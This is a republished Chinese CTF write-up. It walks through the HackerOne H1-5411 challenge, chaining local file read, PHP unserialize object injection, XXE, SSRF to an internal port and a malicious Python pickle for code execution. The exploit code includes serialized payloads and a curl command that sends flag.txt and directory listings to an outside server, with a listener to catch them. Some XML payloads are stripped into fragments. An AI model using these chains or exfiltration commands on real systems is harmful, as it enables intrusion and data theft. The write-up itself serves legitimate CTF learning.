當前位置:
首頁 > 新聞 > H1-5411 CTF通關Write-up

H1-5411 CTF通關Write-up

erbbysam和我最近打算挑戰一下HackerOne舉辦的最新的CTF比賽。本文是我們從開始到結束所採取的過程的記錄。

h1-5411 CTF以HackerOne發布的推文作為一個開始:

·https://h1-5411.h1ctf.com/

這個網站允許你選擇MEME模板,頂部文本和底部文本。這會生成一個保存到會話中的MEME,它是一個圖像或txt文件。

生成Meme

POST請求如下所示:

POST /api/generate.php HTTP/1.1

Host: h1-5411.h1ctf.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://h1-5411.h1ctf.com/generate.php

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 63

Cookie: PHPSESSID=qpvh9cil4heghbjdq6cp4vfbgs

Connection: close

template=template4.txt&type=text&top-text=test&bottom-text=test

template參數可以設置文件名用於MEME生成過程的一部分。

正如你可能猜到的,模板變數很容易產生本地文件讀取(LFR)漏洞。只要將其設置為txt模板,就可以在系統上指定任意文件並獲取其文件內容。這是獲取PHP源代碼的示例:

在這裡,你可以在查看你保存的MEME模板的源代碼:

在從index.php查找到每個文件在include()內包含的所有文件之後,我們最終得到了整個應用程序的源代碼。下一步是弄清楚應用程序中存在哪些漏洞。

在/includes/classes.php文件中,首先看到的事情是開發者故意禁用了XXE保護。

這意味著DOMDocument-> loadXML()容易受到外部實體/DTD的攻擊,並允許我們執行惡意的XXE有效載荷。這裡的問題是,我們如何設置ConfigFile類的config_raw變數。

從/includes/header.php文件中,如果沒有LFR漏洞,你將無法發現下面兩個有趣的文件。

/import_memes_2.0.php/export_memes_2.0.php

每個文件都會向/api/目錄中的同名文件發送POST請求。

/api/import_memes_2.0.php

require_once("../includes/config.php");

if (isset($_FILES["f"])) {

$new_memes = unserialize(base64_decode(

file_get_contents($_FILES["f"]["tmp_name"])));

$_SESSION["memes"] = array_merge($_SESSION["memes"], $new_memes);

}

header("Location: /memes.php");

?>

/api/export_memes_2.0.php

require_once("../includes/config.php");

header("Content-Type: application/octet-stream");

header("Content-Disposition: attachment; filename="".time()."_export.memepak"");

echo base64_encode(serialize($_SESSION["memes"]));

?>

使用導入API腳本,我們可以使用文件上傳POST請求指定unserialize()的輸入。上傳的反序列化數據將合併到$ _SESSION [「memes」]中,其中保存了所有MEME。

現在我們知道我們可以通過unserialize(對象注入)創建PHP對象,並且知道ConfigFile類中有一個XXE,我們必須弄清楚如何將它們放在一起利用。

ConfigClass有一個魔術方法函數__toString(),只要初始化類並將其視為字元串,它就會被調用。這通常意味著每個分配了類的變數都是echo,print,print_r等。

function __toString() {

$this->parse();

$debug = "";

$debug .= "Debug Info :
";

$debug .= "TopText => {$this->top_text}
";

$debug .= "BottomText => {$this->bottom_text}
";

$debug .= "Template Location => {$this->template}
";

$debug .= "Template Type => {$this->type}
";

return $debug;

}

我們將在進一步解釋攻擊後討論如何觸發漏洞。在__toString()執行鏈之後,我們看到它立即調用了parse()函數。

function parse() {

$dom = new DOMDocument();

$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);

$o = simplexml_import_dom($dom);

$this->top_text = $o->toptext;

$this->bottom_text = $o->bottomtext;

$this->template = $o->template;

$this->type = $o->type;

}

從上面的代碼是可以看到希望的,因為$this-> config_raw被傳遞到易受攻擊的loadXML()函數調用,並且不會被任何靜態覆蓋。這意味著如果我們創建一個反序列化的對象,我們可以指定config_raw變數,它將執行我們的XXE有效載荷。

我們通過刪除此攻擊鏈中涉及的所有代碼來設置一個測試腳本,以便在啟用警告的情況下在本地進行測試。他們的伺服器沒有顯示任何PHP錯誤或警告,這意味著我們對我們遇到的任何潛在障礙完全看不到。

下面的gist就是我們的測試代碼:

·https://gist.githubusercontent.com/ziot/e72c8c45865ea86d9c6aa6975615e839/raw/d0fb09a5a99be0c815c3e854e5b9900f2384b5dd/gistfile1.txt

使用上面的腳本,我們在config_raw中指定了我們的XXE有效載荷後,在新創建的類之上運行了base64_encode(serialize())函數。

示例代碼:

class ConfigFile {

...

}

$test = new ConfigFile("asdf");

$test->config_raw = "%sp;%param1;]>&exfil;";

echo base64_encode(serialize($test));

下一步是使用import_memes腳本上傳它:

·https://h1-5411.h1ctf.com/import_memes_2.0.php

沒有出錯。但是我們遇到一個警告提示,說我們不能將一個數組和一個對象進行array_merge。這是有道理的,回顧/includes/config.php中的代碼,我們可以看到$_SESSION [「memes」]是一個array()並獲取存儲在其中的字元串。

// Start/Resume session

session_start();

// Setup session

if (!isset($_SESSION["memes"])) {

$_SESSION["memes"] = array();

}

因此,為了將我們的對象存儲到$_SESSION [「memes」]中,我們必須將序列化對象包裝在一個數組中。這使事情變得有些複雜,因為我們發現利用toString()方法的唯一方法是在導出腳本上回顯$_SESSION [「memes」]。這意味著我們需要找到一種新方法來執行toString魔術方法。

幸運的是,我們在generate.php文件中發現了這一點。

foreach($_SESSION["memes"] as $meme) {

?>

src="">

}

}

?>

正如你在代碼中看到的那樣,它遍歷$_SESSION [「meme」]數組中的所有項目並通過echo顯示它們。當它擊中存儲在數組中的對象時,它將觸發toString()執行,從而最終執行我們的XXE有效載荷。

以下是使用XXE有效載荷載入file:///etc/passwd的示例:

class ConfigFile {

...

}

$test = new ConfigFile("asdf");

$test->config_raw = "]>dddrrr &foo;";

echo base64_encode(serialize(array($test)));

太棒了!現在確認我們終於成功利用XXE漏洞了。

那我們接下來做什麼呢?我們已經利用了本地文件讀取漏洞,所以接下來的事情可能與此無關。我記得我們在其中一個文件中看到了localhost。XXE使我們能夠執行伺服器端請求偽造,並且由於XML被呈現給用戶,因此它也不是完全看不到的。這就使得我們能夠獲取和查看伺服器的內部網站或服務。

這是/includes/classes.php中的注釋

/* Maintenance service: internal service on localhost, still under development!!

class Maintenance {

function __construct() {

//TODO

}

}

*/

我們開始嘗試各種http:// 來調用localhost,但我們運氣不好。最終我們猜測它可能在一個隨機的埠上,我們的第一個猜測是正確的!我們從查詢http://localhost:1337得到了響應。服務埠是1337。

非盲目性的XXE有效載荷對於發現1337埠和功能至關重要:

[

]> &foo;

請求後將返回如下內容:

內部Meme服務

Meme Service - Internal Maintenance API - v0.1 (Alpha); API Documentation: Version 0.1 - Endpoints:

/status - View maintenance status;

/update-status Change maintenance status;

Debug: The debug parameter allows debugging;

哦不,看起來,我們需要解決更多的挑戰。

訪問/狀態/status?debug=1列印出如下信息:

Maintenance mode: off | Debug: KGlhcHAKU3RhdHVzCnAxCihkcDIKUydtZXNzYWdlJwpwMwpTJ01haW50ZW5hbmNlIG1vZGU6IG9mZicKcDQKc1MnbWFpbnRlbmFuY2UnCnA1CkkwMApzYi4=

Base64解碼字元串後我們可以立即識別出它是Python pickle。這本質上是Python的序列化版本,並且具有類似的對象注入漏洞。但是,Python pickle通常會直接導致遠程執行代碼。

(iapp

Status

p1

(dp2

S"message"

p3

S"Maintenance mode: off"

p4

sS"maintenance"

p5

I00

Sb.

因此,我們應該嘗試用「惡意」泡菜來更新狀態!

通過有效形成的泡菜發送到/ update-status?status =&debug = 1導致消息:

A new status has been loaded. Automatic reloading not implemented yet!

不幸的是,對於/status頁面不存在這個漏洞(一個畸形的pickle會顯示錯誤輸出),這意味著我們必須盲目性的發現漏洞,讓這個「惡意」的pickle有效載荷生成器工作!所以我們下一步的策略是使用curl命令:

·https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd

運行下面的命令:

# python pickle.py "curl -X POST -d "|$(cat flag.txt)|" myserver.com"Y3Bvc2l4CnN5c3RlbQpwMQooUydjdXJsIC1YIFBPU1QgLWQgInwkKGNhdCBmbGFnLnR4dCl8IiBteXNlcnZlci5jb20nCnAyCnRScDMKLg==

添加到php payload:

$test->config_raw = "

[

]> &foo;";

要上傳的新mypack文件:

YToxOntpOjA7TzoxMDoiQ29uZmlnRmlsZSI6MTp7czoxMDoiY29uZmlnX3JhdyI7czozMTA6Ijw/eG1sIHZlcnNpb249IjEuMCI/Pg0KPCFET0NUWVBFIHJvb3QNClsNCjwhRU5USVRZIGZvbyBTWVNURU0gInBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9aHR0cDovL2xvY2FsaG9zdDoxMzM3L3VwZGF0ZS1zdGF0dXM/c3RhdHVzPVkzQnZjMmw0Q25ONWMzUmxiUXB3TVFvb1V5ZGpkWEpzSUMxWUlGQlBVMVFnTFdRZ0lud2tLR05oZENCbWJHRm5MblI0ZENsOElpQnRlWE5sY25abGNpNWpiMjBuQ25BeUNuUlNjRE1LTGc9PSZkZWJ1Zz0xIj4NCl0+PHRlc3Q+PHRvcHRleHQ+ICZmb287PC90b3B0ZXh0PjwvdGVzdD4iO319

再次訪問memes.php時,只需使用簡單的tornado監聽器來獲取POST響應即可:

import tornado.ioloop

import tornado.web

class MainHandler(tornado.web.RequestHandler):

def post(self):

print self.request.body

def make_app():

return tornado.web.Application([

(r"/.*", MainHandler),

])

if __name__ == "__main__":

app = make_app()

app.listen(80)

tornado.ioloop.IOLoop.current().start()

使用此方法查看文件系統(「python pickle.py"curl -X POST -d」| $(ls -lath)|「myserver.com」)會產生下面的結果:

total 36K

drwxr-xr-x 1 root root 4.0K Sep 26 16:20 ..

drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 .

drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 static

-rw-r--r-- 1 maintenance maintenance 1.7K Sep 23 19:28 app.py

-rw-r--r-- 1 maintenance maintenance 3.4K Sep 23 19:11 app.pyc

-rw-r--r-- 1 maintenance maintenance 150 Sep 23 19:07 flag.txt

-rw-r--r-- 1 maintenance maintenance 14 Sep 18 17:50 requirements.txt

-rw-r--r-- 1 maintenance maintenance 89 Sep 18 17:50 status.pickle

drwxr-xr-x 1 maintenance maintenance 4.0K Sep 18 17:50 templates

獲取Flag

使用此方法查看flag.txt(「python pickle.py"curl -X POST -d」| $(cat flag.txt)|「myserver.com」)顯示了如下內容:

Yay! Here is your flag:

flag

Go to https://hackerone.com/h1-5411-ctf and submit your writeup!

最終的利用源代碼

$qqq= array("test", "abc");

class ConfigFile {

function __construct($url) {

$this->config_raw = $url;//file_get_contents($url);

}

function parse() {

echo "

DEBUG: parse() hit (current config_raw = ".htmlspecialchars($this->config_raw)." )

";

$dom = new DOMDocument();

$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);

$o = simplexml_import_dom($dom);

$this->top_text = $o->toptext;

$this->bottom_text = $o->bottomtext;

$this->template = $o->template;

$this->type = $o->type;

}

function generate() {

$this->parse();

$meme_path = "https://giphy.com/embed/Vuw9m5wXviFIQ?try_harder";

if ($this->type == IMAGE) {

if (@is_array(getimagesize($this->path))) {

$meme_path = MEMES_FOLDER . $filename . ".jpg";

$args = array(

"top_text" => $top_text,

"bottom_text" => $bottom_text,

"filename" => $meme_path,

"font" => FONT_BASE,

"memebase" => $this->path,

"textsize" => 40,

"textfit" => true,

"padding" => 10,

);

memegen_build_image($args);

}

}

if ($this->type == TEXT) {

if (!@is_array(getimagesize($this->path))) {

$contents = file_get_contents($this->path);

$meme = " " . strtoupper($top_text) . "

" . $contents . "
" . strtoupper($bottom_text);

$meme_path = MEMES_FOLDER . $filename . ".txt";

file_put_contents($meme_path, $meme);

}

}

return $meme_path;

}

function __toString() {

echo "

DEBUG: toString() hit

";

$this->parse();

$debug = "";

$debug .= "Debug Info :
";

$debug .= "TopText => {$this->top_text}
";

$debug .= "BottomText => {$this->bottom_text}
";

$debug .= "Template Location => {$this->template}
";

$debug .= "Template Type => {$this->type}
";

return $debug;

}

}

$test = new ConfigFile("asdf");

$test->config_raw = "

[

]> &foo;";

$serialized = base64_encode(serialize(array($test)));

// test to make sure array_merge still works

$new_memes = unserialize(base64_decode($serialized));

$qqq = array_merge($qqq, $new_memes);

// print it

echo $serialized;

?


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

俄羅斯APT組織——Turla新面孔
GandCrab勒索軟體的最新版本中開始引入加密和混淆功能

TAG:嘶吼RoarTalk |